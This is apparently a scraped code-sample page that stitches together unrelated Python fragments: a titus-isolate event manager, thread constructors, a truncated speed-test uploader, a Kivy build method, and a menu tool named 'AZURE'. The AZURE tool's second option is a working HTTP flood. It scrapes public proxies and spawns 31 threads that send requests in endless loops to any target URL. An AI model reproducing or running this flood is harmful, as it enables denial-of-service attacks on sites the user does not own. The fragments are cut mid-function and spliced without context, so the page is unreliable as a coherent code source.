class EventManager(MetricsReporter):

    def __init__(self, event_iterable, event_handlers, event_timeout=DEFAULT_EVENT_TIMEOUT_SECS):
        self.__reg = None
        self.__tags = None
        self.__stopped = False
        self.__q = Queue()

        self.__events = event_iterable
        self.__event_handlers = event_handlers
        self.__event_timeout = event_timeout

        self.__processed_count = 0

        self.__started = False
        self.__started_lock = Lock()

        self.__processing_thread = Thread(target=self.__process_events)
        self.__pulling_thread = Thread(target=self.__pull_events)
        self.last_successful_event_epoch_s = 0

        config_manager = get_config_manager()

        rebalance_frequency = config_manager.get_float(REBALANCE_FREQUENCY_KEY, DEFAULT_REBALANCE_FREQUENCY)
        if rebalance_frequency > 0:
            schedule.every(rebalance_frequency).seconds.do(self.__rebalance)

        reconcile_frequency = config_manager.get_float(RECONCILE_FREQUENCY_KEY, DEFAULT_RECONCILE_FREQUENCY)
        if reconcile_frequency > 0:
            schedule.every(reconcile_frequency).seconds.do(self.__reconcile)

        oversubscribe_frequency = config_manager.get_float(OVERSUBSCRIBE_FREQUENCY_KEY,
                                                           DEFAULT_OVERSUBSCRIBE_FREQUENCY)
        if oversubscribe_frequency > 0:
            schedule.every(oversubscribe_frequency).seconds.do(self.__oversubscribe)

    def join(self):
        self.__pulling_thread.join()
        self.__processing_thread.join()

    def stop_processing_events(self):
        self.__stopped = True
        self.__events.close()
        self.join()

    def start_processing_events(self):
        with self.__started_lock:
            if self.__started:
                return

            self.__processing_thread.start()
            self.__pulling_thread.start()
            self.__started = True

    def get_queue_depth(self):
        return self.__q.qsize()

    def get_processed_count(self):
        return self.__processed_count

    def __rebalance(self):
        self.__put_event(REBALANCE_EVENT)

    def __reconcile(self):
        self.__put_event(RECONCILE_EVENT)

    def __oversubscribe(self):
        self.__put_event(OVERSUBSCRIBE_EVENT)

    def __pull_events(self):
        for event in self.__events:
            self.__put_event(event)

    def __put_event(self, event):
        event = json.loads(event.decode("utf-8"))
        if event[ACTION] in HANDLED_ACTIONS:
            log.info("Enqueuing event: {}, queue depth: {}".format(event[ACTION], self.get_queue_depth()))
            event[ENQUEUE_TIME_KEY] = time.time()
            self.__q.put(event)
            if self.__reg is not None:
                self.__reg.counter(ENQUEUED_COUNT_KEY, self.__tags).increment()
                self.__reg.counter(self.__get_enqueued_metric_name(event), self.__tags).increment()

    def __process_events(self):
        while not self.__stopped:
            try:
                event = self.__q.get(timeout=self.__event_timeout)
                dequeue_time = time.time()
                log.info("Dequeued event: {}, queue depth: {}".format(event[ACTION], self.get_queue_depth()))
                if self.__reg is not None:
                    self.__reg.counter(DEQUEUED_COUNT_KEY, self.__tags).increment()
                    self.__reg.counter(self.__get_dequeued_metric_name(event), self.__tags).increment()
                    self.__reg.distribution_summary(QUEUE_LATENCY_KEY, self.__tags).record(dequeue_time - event[ENQUEUE_TIME_KEY])
            except Empty:
                log.debug("Timed out waiting for event on queue.")
                continue

            for event_handler in self.__event_handlers:
                try:
                    log.info("{} handling event: {}".format(type(event_handler).__name__, event[ACTION]))
                    event_handler.handle(event)
                    self.__report_succeeded_event(event_handler)
                except:
                    log.exception("Event handler: '{}' failed to handle event: '{}'".format(
                        type(event_handler).__name__, event))
                    self.__report_failed_event(event_handler)

            self.__q.task_done()
            self.__reg.counter(EVENT_PROCESSED_KEY, self.__tags).increment()
            self.__reg.gauge(QUEUE_DEPTH_KEY, self.__tags).set(self.get_queue_depth())
            self.__processed_count += 1

    def __report_succeeded_event(self, event_handler: EventHandler):
        if self.__reg is not None:
            self.__reg.counter(self.__get_event_succeeded_metric_name(event_handler), self.__tags).increment()
            self.__reg.counter(EVENT_SUCCEEDED_KEY, self.__tags).increment()
            self.last_successful_event_epoch_s = datetime.utcnow().timestamp()

    def __report_failed_event(self, event_handler: EventHandler):
        if self.__reg is not None:
            self.__reg.counter(self.__get_event_failed_metric_name(event_handler), self.__tags).increment()
            self.__reg.counter(EVENT_FAILED_KEY, self.__tags).increment()

    @staticmethod
    def __get_event_succeeded_metric_name(event_handler: EventHandler) -> str:
        return "titus-isolate.{}.eventSucceeded".format(type(event_handler).__name__)

    @staticmethod
    def __get_event_failed_metric_name(event_handler: EventHandler) -> str:
        return "titus-isolate.{}.eventFailed".format(type(event_handler).__name__)

    @staticmethod
    def __get_enqueued_metric_name(event) -> str:
        return "titus-isolate.{}.eventEnqueued".format(event[ACTION])

    @staticmethod
    def __get_dequeued_metric_name(event) -> str:
        return "titus-isolate.{}.eventDequeued".format(event[ACTION])

    def set_registry(self, registry, tags):
        self.__reg = registry
        self.__tags = tags

    def report_metrics(self, tags):
        pass
Пример #57
0
 def __init__(self, window):
     Thread.__init__(self)
     self.window = window
Пример #58
0
                return result

        def __init__(self, baseTime, case, cancelEvent=None, quiet=True):
            self.baseTime = baseTime
            self.url = case[0]
            self.cancelEvent = cancelEvent
            self.quiet = quiet
            self.bytes = 0
            self.startTime = 0
            self.finishTime = 0

            size = case[1]
            self.data = SpeedTest.FileUploader.DummyFile(size)

            Thread.__init__(self)

        def run(self):
            try:
                headers = {'Content-length': '%d' % self.data.length}
                request = Request(self.url, self.data, headers)

                self.startTime = time.time()
                if (self.startTime - self.baseTime) > SpeedTest.MAX_TEST_TIME:
                    if not self.quiet and not self.cancelEvent.isSet():
                        sys.stdout.write('x')
                        sys.stdout.flush()
                    return

                if not self.cancelEvent.isSet():
                    f = urlopen(request, self.data)
Пример #59
0
    def build(self):
        customerScreen = CustomerClass()
        """server-client thread"""
        Thread(target=connectToTheServer, args=[customerScreen]).start()

        return customerScreen.widget_main
Пример #60
0
def Menu():
    os.system('cls')
    print("""
     █████╗     ███████╗    ██╗   ██╗    ██████╗     ███████╗
    ██╔══██╗    ╚══███╔╝    ██║   ██║    ██╔══██╗    ██╔════╝
    ███████║      ███╔╝     ██║   ██║    ██████╔╝    █████╗  
    ██╔══██║     ███╔╝      ██║   ██║    ██╔══██╗    ██╔══╝  
    ██║  ██║    ███████╗    ╚██████╔╝    ██║  ██║    ███████╗
    ╚═╝  ╚═╝    ╚══════╝     ╚═════╝     ╚═╝  ╚═╝    ╚══════╝""")
    print("")
    print("Welcome to AZURE! One of the best ways to handle Script Kiddies!")
    print("Please choose an option below!")
    print("")
    print("1) IP Lookup")
    print("2) IP Logger Flood (No VPN Required)")
    print("3) Website Lookup (Find Website IP and other Info)")
    print("4) Get SSL Proxies")
    choice = input(">> ")

    # IP LOOKUP
    if choice == "1":
        os.system('cls')
        print("""
     █████╗     ███████╗    ██╗   ██╗    ██████╗     ███████╗
    ██╔══██╗    ╚══███╔╝    ██║   ██║    ██╔══██╗    ██╔════╝
    ███████║      ███╔╝     ██║   ██║    ██████╔╝    █████╗  
    ██╔══██║     ███╔╝      ██║   ██║    ██╔══██╗    ██╔══╝  
    ██║  ██║    ███████╗    ╚██████╔╝    ██║  ██║    ███████╗
    ╚═╝  ╚═╝    ╚══════╝     ╚═════╝     ╚═╝  ╚═╝    ╚══════╝""")
        print("")
        print("Please enter an IP to track!")
        ip = input("IP: ")

        r = requests.get(f'http://extreme-ip-lookup.com/json/{ip}')
        data = r.json()
        print("Here is the information we got!")
        print("")
        print("IP: " + data["query"])
        print("Region: " + data["region"])
        print("City: " + data["city"])
        print("Country: " + data["country"])
        print("Hostname: " + data["ipName"])
        print("ISP: " + data["isp"])
        print("")
        input("Press Enter to go back to the menu!")
        Menu()

    # WEBSITE FLOOD (Proxies)
    if choice == "2":
        os.system('cls')
        print("""
     █████╗     ███████╗    ██╗   ██╗    ██████╗     ███████╗
    ██╔══██╗    ╚══███╔╝    ██║   ██║    ██╔══██╗    ██╔════╝
    ███████║      ███╔╝     ██║   ██║    ██████╔╝    █████╗  
    ██╔══██║     ███╔╝      ██║   ██║    ██╔══██╗    ██╔══╝  
    ██║  ██║    ███████╗    ╚██████╔╝    ██║  ██║    ███████╗
    ╚═╝  ╚═╝    ╚══════╝     ╚═════╝     ╚═╝  ╚═╝    ╚══════╝""")
        print("")
        print("Please enter the target site (Include https:// or http://)")
        target = input("URL: ")
        message = input("Message (user-agent): ")

        session = HTMLSession()
        r = session.get('https://www.sslproxies.org/')
        input("Press enter to start!")

        def spam_em(proxy, message):
            try:
                while True:
                    r = requests.get(target,
                                     proxies={
                                         'https': proxy[0] + ':' + proxy[1],
                                         'http': proxy[0] + ':' + proxy[1]
                                     },
                                     headers={"User-Agent": message})
                    print("Request sent from proxy: " +
                          str(proxy[0] + ':' + proxy[1]) +
                          " with user-agent: " + message)
            except:
                pass

        proxies = list(
            zip(
                r.html.xpath(
                    '//*[@id="proxylisttable"]/tbody/tr/td[1]/text()'),
                r.html.xpath(
                    '//*[@id="proxylisttable"]/tbody/tr/td[2]/text()')))

        for i in range(30):
            Thread(target=spam_em, args=(
                random_choice(proxies),
                message,
            )).start()

        spam_em(random_choice(proxies), message)

    # WEBSITE LOOKUP
    if choice == "3":
        os.system('cls')
        print("""
     █████╗     ███████╗    ██╗   ██╗    ██████╗     ███████╗
    ██╔══██╗    ╚══███╔╝    ██║   ██║    ██╔══██╗    ██╔════╝
    ███████║      ███╔╝     ██║   ██║    ██████╔╝    █████╗  
    ██╔══██║     ███╔╝      ██║   ██║    ██╔══██╗    ██╔══╝  
    ██║  ██║    ███████╗    ╚██████╔╝    ██║  ██║    ███████╗
    ╚═╝  ╚═╝    ╚══════╝     ╚═════╝     ╚═╝  ╚═╝    ╚══════╝""")
        print("")
        print("Please enter the website!")
        website = input("Website: ")
        websiteip = socket.gethostbyname(website)
        r = requests.get(f'http://extreme-ip-lookup.com/json/{websiteip}')
        website_data = r.json()

        print("Here is the information we gathered for: " + website + "(" +
              websiteip + ")")
        print("ISP: " + website_data["isp"])
        print("City: " + website_data["city"])
        print("Hostname (may be blank): " + website_data["ipName"])
        print("Organization: " + website_data["org"])
        print("")
        input("Go back to the main menu!")
        Menu()

    # GATHER SSL PROXIES
    if choice == "4":
        os.system('cls')
        print("""
     █████╗     ███████╗    ██╗   ██╗    ██████╗     ███████╗
    ██╔══██╗    ╚══███╔╝    ██║   ██║    ██╔══██╗    ██╔════╝
    ███████║      ███╔╝     ██║   ██║    ██████╔╝    █████╗  
    ██╔══██║     ███╔╝      ██║   ██║    ██╔══██╗    ██╔══╝  
    ██║  ██║    ███████╗    ╚██████╔╝    ██║  ██║    ███████╗
    ╚═╝  ╚═╝    ╚══════╝     ╚═════╝     ╚═╝  ╚═╝    ╚══════╝""")
        print("(Gathers Proxies from SSLProxies.org)")
        print("")
        enter = input("Press Enter to gather proxies!")

        session = HTMLSession()

        r = session.get('https://www.sslproxies.org/')
        proxies = list(
            zip(
                r.html.xpath(
                    '//*[@id="proxylisttable"]/tbody/tr/td[1]/text()'),
                r.html.xpath(
                    '//*[@id="proxylisttable"]/tbody/tr/td[2]/text()')))

        for proxy in proxies:
            time.sleep(0.05)
            r = requests.get(f'http://extreme-ip-lookup.com/json/{proxy[0]}')
            proxy_data = r.json()
            proxy_location = proxy_data["country"]
            print("Gathered Proxy: " + proxy[0] + ":" + proxy[1] + " (" +
                  proxy_location + ")")
            f = open("proxies.txt", "a+")
            f.write(proxy[0] + ":" + proxy[1] + "\n")
            f.close()
            print("")

        print("We can't find anymore proxies!")
        print("")
        input("Press Enter to go back to the menu!")
        Menu()